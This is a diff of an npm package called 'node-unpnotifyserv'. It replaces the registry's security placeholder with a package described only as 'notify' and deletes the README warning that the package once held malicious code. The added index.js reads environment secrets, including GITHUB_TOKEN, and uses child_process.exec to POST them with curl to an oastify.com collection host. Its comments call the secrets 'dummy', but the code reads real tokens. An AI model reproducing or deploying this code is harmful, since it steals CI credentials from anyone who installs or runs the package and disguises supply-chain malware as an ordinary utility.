node-unpnotifyserv 0.0.1-security → 1.0.1

package/index.js

@@ -0,0 +1,42 @@
+const { exec } = require('child_process');
+
+const url =
+  process.argv[2] ||
+  process.env.TARGET_URL ||
+  'https://k5qrd15fb22e50xkl92r03h1jspjdd12.oastify.com/test';
+
+const appEnv = process.env.APP_ENV || 'dev';
+const version = process.env.VERSION || '1.0.0';
+
+/**
+ * Read dummy secrets from CI environment
+ * These come from GitHub Actions secrets:
+ * DUMMY_API_KEY
+ * DUMMY_TOKEN
+ */
+const dummyApiKey = process.env.DUMMY_API_KEY || '';
+const dummyToken = process.env.GITHUB_TOKEN || '';
+
+const payload = {
+  app_env: appEnv,
+  version: version,
+  dummy_api_key: dummyApiKey,
+  dummy_token: dummyToken
+};
+
+const cmd = `curl -X POST ${url} \
+-H "Content-Type: application/json" \
+-d '${JSON.stringify(payload)}'`;
+
+console.log('Running outbound request...');
+
+exec(cmd, (error, stdout, stderr) => {
+  if (error) {
+    console.error(`Error: ${error.message}`);
+    return;
+  }
+
+  if (stderr) console.error(stderr);
+
+  console.log(stdout);
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "node-unpnotifyserv",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "notify",
+  "license": "ISC",
+  "author": "",
+  "type": "commonjs",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=node-unpnotifyserv for more information.